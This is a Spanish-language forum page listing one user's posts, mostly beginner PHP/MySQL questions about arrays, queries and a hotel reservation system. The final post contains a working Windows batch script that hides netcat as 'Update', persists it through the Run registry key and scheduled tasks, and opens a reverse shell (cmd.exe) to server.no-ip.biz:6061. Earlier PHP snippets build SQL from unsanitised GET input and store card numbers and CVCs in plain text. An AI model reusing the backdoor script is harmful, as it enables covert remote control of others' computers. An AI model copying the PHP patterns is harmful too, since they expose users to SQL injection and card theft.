|
Mostrar Temas
|
Páginas: 1 2 3 [4] 5
|
32
|
Programación / PHP / Duda sobre Arreglos PHP.
|
en: 20 Marzo 2010, 00:13 am
|
Hola a todos! Bueno, ando leyendo el libro de PHP y MySQL para Dummies ya que de verdad es muy bueno; pero me surgio algo que no entiendo del todo, es acerda de Arreglos PHP (Para quienes lo tienen vease la Pag. 155 del Capitulo 7 en la parte 3) ya lo he leido 3 veces pero me he perdido... Esta parte menciona que los arreglos PHP almacenan un grupo de valores en una sola variable, hasta aqui vamos bien, pero mas adelante, en la Pag. 161 da un ejemplo con $infocamisa el cual posterior mente ingresa 2 nuevas variables: $primervalor,$segundovalor; hasta aqui tambien vamos bien.. pero mas adelante en la pag. 163 da un ejemplo que utiliza foreach: $capitales = array ( "CA" => "Sacramento", "TX" => "Austin", "OR" => "Salem" ); ksort($capitales); foreach($capitales as $estado => $ciudad) { echo "$ciudad, $estado<br>"; } lo que no entiendo es como es que salieron las variables $estado y $ciudad.. Lo que deduzco es que foreach las creo, pero no se si estoy en lo correcto, y si es asi - o no - porque dentro del enunciado foreach esta usando " => " entre las variables? Espero me puedan ayudar un poco con esto. Les dejo aqui un link con el libro que en lo personal recomiendo ampliamente para los que no saben nada de PHP. http://www.megaupload.com/?d=HH2E15EAPass: www.utopilandia.co.cc
|
|
|
33
|
Programación / PHP / Como debo intercalar "$ejemplo" en una sentencia sql?
|
en: 28 Febrero 2010, 23:27 pm
|
He intentado de varias formas, pero creo que no va por ahi. <?php include("validdb.php"); $link=Conectarse(); $user=$_SESSION['username'] $result=mysql_query("select * from message where userto='.$user.'",$link); ?> He intentado: $result=mysql_query("select * from message where userto='$user'",$link); $result=mysql_query("select * from message where userto="$user"",$link); $result=mysql_query("select * from message where userto='.$user.'",$link)
Saludoos xD
|
|
|
34
|
Programación / PHP / Ayuda con listado de usuarios.
|
en: 26 Febrero 2010, 23:22 pm
|
Buenas En un formulario que estoy haciendo, tengo que poner un menu/lista, pero quiero que este menu/lista muestre los usuarios actuales de la tabla staff. Y tengo el siguiente codigo que yo hice, pero al parecer no funciona <!-- SEND MESSAGE TO A USER --> <form id="form1" name="form1" method="post" action="insertmessage.php"> <label><br /> TO: <select name="show_users" id="show_users"> <!-- SHOW USER FROM TABLE STAFF --> <?php include("validdb.php"); $result=mysql_query("select * from staff") or die(mysql_error()); while($row = mysql_fetch_array($result)) { echo "<option>".$row[user]."</option>"; } mysql_free_result($result); ?> </select> </label> Alguna idea?? Muchas Gracias:D Me da error en la linea 25 que es: $result=mysql_query("select * from staff") or die(mysql_error());pero no entiendo porque, la tabla si existe "staff".. y validdb.php es correcto
|
|
|
35
|
Programación / Bases de Datos / Duda sobre insersion a tabla html desde tabla sql
|
en: 20 Febrero 2010, 00:57 am
|
Estoy haciendo un pequeño sistema de reservaciones para el lugar donde trabajo y aunque me he quemado el coco pensando como podria hacer para que esta tabla funcione nadamas no doi. Esta tabla muestra habitaciones y muestra los numeros de 1 al 31 (eso de poner los numeros automaticamente segun el mes lo hare mas adelante) este es el codigo de la tabla: <table border="1" align="center"> <tr> <td> </td> <td>01</td> <td>02</td> <td>03</td> <td>04</td> <td>05</td> <td>06</td> <td>07</td> <td>08</td> <td>09</td> <td>10</td> <td>11</td> <td>12</td> <td>13</td> <td>14</td> <td>15</td> <td>16</td> <td>17</td> <td>18</td> <td>19</td> <td>20</td> <td>21</td> <td>22</td> <td>23</td> <td>24</td> <td>25</td> <td>26</td> <td>27</td> <td>28</td> <td>29</td> <td>30</td> <td>31</td> <td> </td> </tr> <tr> <td>Room 1</td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td>Room 1</td> </tr> <tr> <td>Room 2</td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td>Room 2</td> </tr> <tr> <td>Room 3</td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td>Room 3</td> </tr> <tr> <td>Room 4</td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td>Room 4</td> </tr> <tr> <td>Room 5</td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td>Room 5</td> </tr> <tr> <td>Room 6</td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td>Room 6</td> </tr> <tr> <td>Room 7</td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td>Room 7</td> </tr> <tr> <td>Room 8</td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td>Room 8</td> </tr> <tr> <td>Room 9</td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td>Room 9</td> </tr> <tr> <td>Mansion 1</td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td>Mansion 1</td> </tr> <tr> <td>Mansion 2</td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td>Mansion 2</td> </tr> <tr> <td>Mansion 3</td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td>Mansion 3</td> </tr> <tr> <td>Condo 1</td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td>Condo 1</td> </tr> <tr> <td>Condo 2</td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td>Condo 2</td> </tr> <tr> <td>Condo 3</td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td> </td> <td>Condo 3</td> </tr> </table> En realidad lo que quiero es que si el cliente Mr. Test reservo de el 15/Enero/2010 al 19/Febrero/2010 aparezca en esta tabla marcando todos los dias en los que estara hospeado Mr. Test, ya sea con un color o con puro texto, que sea su nombre que sea un link a la infomacion del cliente. Pero no se me ocurre, alguien me puede dar una manita o algun dato porfavor? Se los agradeceria muchisimo.
|
|
|
36
|
Programación / PHP / Problema al ingresar registros a una Tabla
|
en: 18 Febrero 2010, 20:00 pm
|
Despues de intentar varias cosas y al ver que ninguna tubo resultado es mi deber postear mi problema en el foro El problema es este: Tengo un formulario " newclient.html" con action=" validform.php"; que toma los datos del cliente y los inserta en la tabla ' clientlist' pero el problema es que cuando inserta los registros, los ingresa vacios, es decir.. Al registrar al cliente con ID 1 el nombre, apellido, bla bla bla.. estan en blanco, aunque el formulario haya sido llenado correctamente. <form id="form1" name="form1" method="get" action="validform.php"> <table width="253" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td width="82">name ::</td> <td width="165"><label> <input type="text" name="name" id="name" /> </label></td> </tr> <tr> <td>surname ::</td> <td><label> <input type="text" name="last_name" id="last_name" /> </label></td> </tr> <tr> <td><p>gender ::</p></td> <td><label> <select name="gender" size="1" id="gender"> <option selected="selected">male</option> <option>female</option> <option>shemale</option> </select> </label></td> </tr> <tr> <td>birthdate ::</td> <td><label> <input type="text" name="birthdate" id="birthdate" /> </label></td> </tr> <tr> <td><p>mail ::</p></td> <td><label> <input type="text" name="mail" id="mail" /> </label></td> </tr> <tr> <td>phone ::</td> <td><label> <input type="text" name="phone" id="phone" /> </label></td> </tr> <tr> <td>emergency ::</td> <td><label> <input type="text" name="emerg_phone" id="emerg_phone" /> </label></td> </tr> <tr> <td>cc_num ::</td> <td><label> <input type="text" name="cc_info" id="cc_info" /> </label></td> </tr> <tr> <td> </td> <td><label> cvc: <input type="text" name="cvc" id="cvc" /> </label> <label> <br /> exp: <input type="text" name="exp" id="exp" /> </label></td> </tr> <tr> <td>comments ::</td> <td><label> <textarea name="comments" id="comments" cols="25" rows="3"></textarea> </label></td> </tr> <tr> <td> </td> <td><label> <input type="submit" name="send" id="send" value="Enviar" /> </label></td> </tr> </table> </form>
*El formulario es muy simple porque lo rehice y es de prueba en " validform.php" tengo: <?php include("validdb.php"); $link=Conectarse(); $no=$_GET["ID"]; $name=$_GET["name"]; $last_name=$_GET["last_name"]; $phone=$_GET["phone"]; $emerg_phone=$_GET["emerg_phone"]; $mail=$_GET["mail"]; $gender=$_GET["gender"]; $birthdate=$_GET["birthdate"]; $cc_info=$_GET["cc_info"]; $cvc=$_GET["cvc"]; $exp=$_GET["exp"]; $comments=$_GET["comments"]; mysql_query("insert into clientlist (ID,name,last_name,phone,emerg_phone,mail,gender,birthdate,cc_info,cvc,exp,comments) values ('$no','$name','$last_name','$phone','$emerg_phone','$mail','$gender','$birthdate','$cc_info','$cvc','$exp','$comments')",$link) or die(mysql_error()); header('Location: clientlist.php') ?> El codigo en validdb.php es completamente correcto, tanto lo es que ingresa los campos vacios a la db. Como dato: Todo este proceso funcionaba a la perfeccion, pero cuando agrege un campo a la tabla en clientlist.php para Borrar los registros -que tambien funciono perfectamente- desde ahi empeze a tener problemas con la insercion de registros. Aunque lo mas raro -para mi- fue que hasta intente cambiando de servidor y el problema persiste. <?php include("validdb.php"); $link=Conectarse(); $result=mysql_query("select * from clientlist",$link) or die(mysql_error()); ?> <table height="36" border=1 align="center" cellpadding=0 cellspacing=0> <tr> <td width="12" height="14" bgcolor="#FFCC00"><b> # </b></td> <td width="49" bgcolor="#FF6600"><b> Name</b></td> <td width="46" bgcolor="#FFCC00"><b>Last Name</b></td> <td width="50" bgcolor="#FF6600"><b>Phone</b></td> <td width="64" bgcolor="#FFCC00"><b>Emerg Phone</b></td> <td width="40" bgcolor="#FF6600"><b>Email</b></td> <td width="41" bgcolor="#FFCC00"><b>Gender</b></td> <td width="58" bgcolor="#FF6600"><b>Brithdate</b></td> <td width="99" bgcolor="#FFCC00"><b>CC num</b></td> <td width="26" bgcolor="#FF6600"><b>CVC</b></td> <td width="43" bgcolor="#FFCC00"><b>EXP</b></td> <td width="123" bgcolor="#FF6600"><b>Comments</b></td> <td width="63" bgcolor="#FFCC00"><b>Delete</b></td> </tr>
<?php while($row = mysql_fetch_array($result)) { printf("<tr><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td><a href=\"borra_client.php?id=%d\">Delete</a></td></tr>",$row["ID"],$row["name"],$row["last_name"],$row["phone"],$row["emerg_phone"],$row["mail"],$row["gender"],$row["birthdate"],$row["cc_info"],$row["cvc"],$row["exp"],$row["comments"],$row["ID"]) or die(mysql_error()); } mysql_free_result($result); mysql_close($link); ?> </table> Espero me puedan hechar una manita; se los agradeceria mucho. Saludos
|
|
|
37
|
Programación / PHP / Ayuda con enumeracion de filas
|
en: 14 Febrero 2010, 08:13 am
|
Buenas a todos: He estado leyendo y se ve sencillo, pero de verdad que estoy confundido. En realidad no se si es mejor hacerlo con php o con MySQL pero en phpMyAdmin no logre nada Quiero que al ingresar el registro, automaticamente se guarde la numeracion correspondiente, es decir, que yo Antonio Garcia soy el cliente num 3 y entonces cuando se registra otro cliente, este se guarde como num 4. La columna es $row["No"] en el codigo. <?php while($row = mysql_fetch_array($result)) { printf("<tr><td> %d </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td><td> %s </td></tr>",$row["No"],$row["name"],$row["last_name"],$row["phone"],$row["emerg_phone"],$row["mail"],$row["gender"],$row["birthdate"],$row["cc_info"],$row["cvc"],$row["exp"],$row["comments"]) or die(mysql_error()); } mysql_free_result($result); mysql_close($link); ?>
En realidad para mi seria mucho mejor poder guardar la enumeracion directamente en la tabla, pero ahi si no se nada de SQL y lo poco que he leido no me ayuda. Espero alguien de ustedes me pueda iluminar con su sabiduria. Muchisimas Gracias Saludooos
|
|
|
38
|
Programación / Scripting / Duda en programacion batch.
|
en: 15 Enero 2010, 02:58 am
|
Bueno tipico, estoy haciendo un server netcat, que incluye wget para windows, que se instala en C:/Update y se agrega al registro, de hago que se jecute todos los dias a X hora y de ahi que se ejecute C:/Update/nc.exe para que se conecte terminando la instalacion. Pero cuando se agregan las entradas a las tareas programadas, en lugar de cerrarse se queda la ventana de cmd abierta. Que puedo hacer para mejorar mi codigo?? @echo off mkdir C:\Update move /Y nc.exe C:/Update move /Y wget.exe C:/Update reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v Netcat /d "C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe" AT 11:15p /INTERACTIVE /every:1 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"" AT 11:15p /INTERACTIVE /every:2 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"" AT 11:15p /INTERACTIVE /every:3 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"" AT 11:15p /INTERACTIVE /every:4 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"" AT 11:15p /INTERACTIVE /every:5 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"" AT 11:15p /INTERACTIVE /every:6 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"" AT 11:15p /INTERACTIVE /every:7 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"" AT 11:15p /INTERACTIVE /every:8 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"" AT 11:15p /INTERACTIVE /every:9 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"" AT 11:15p /INTERACTIVE /every:10 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"" AT 11:15p /INTERACTIVE /every:11 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"" AT 11:15p /INTERACTIVE /every:12 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"" AT 11:15p /INTERACTIVE /every:13 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"" AT 11:15p /INTERACTIVE /every:14 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"" AT 11:15p /INTERACTIVE /every:15 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"" AT 11:15p /INTERACTIVE /every:16 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"" AT 11:15p /INTERACTIVE /every:17 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"" AT 11:15p /INTERACTIVE /every:18 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"" AT 11:15p /INTERACTIVE /every:19 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"" AT 11:15p /INTERACTIVE /every:20 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"" AT 11:15p /INTERACTIVE /every:21 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"" AT 11:15p /INTERACTIVE /every:22 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"" AT 11:15p /INTERACTIVE /every:23 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"" AT 11:15p /INTERACTIVE /every:24 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"" AT 11:15p /INTERACTIVE /every:25 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"" AT 11:15p /INTERACTIVE /every:26 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"" AT 11:15p /INTERACTIVE /every:27 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"" AT 11:15p /INTERACTIVE /every:28 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"" AT 11:15p /INTERACTIVE /every:29 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"" AT 11:15p /INTERACTIVE /every:30 ""C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe"" start /B "C:\Update\nc.exe server.no-ip.biz 6061 -dte cmd.exe" exit
Muchas Gracias.
|
|
|
|
|
|
|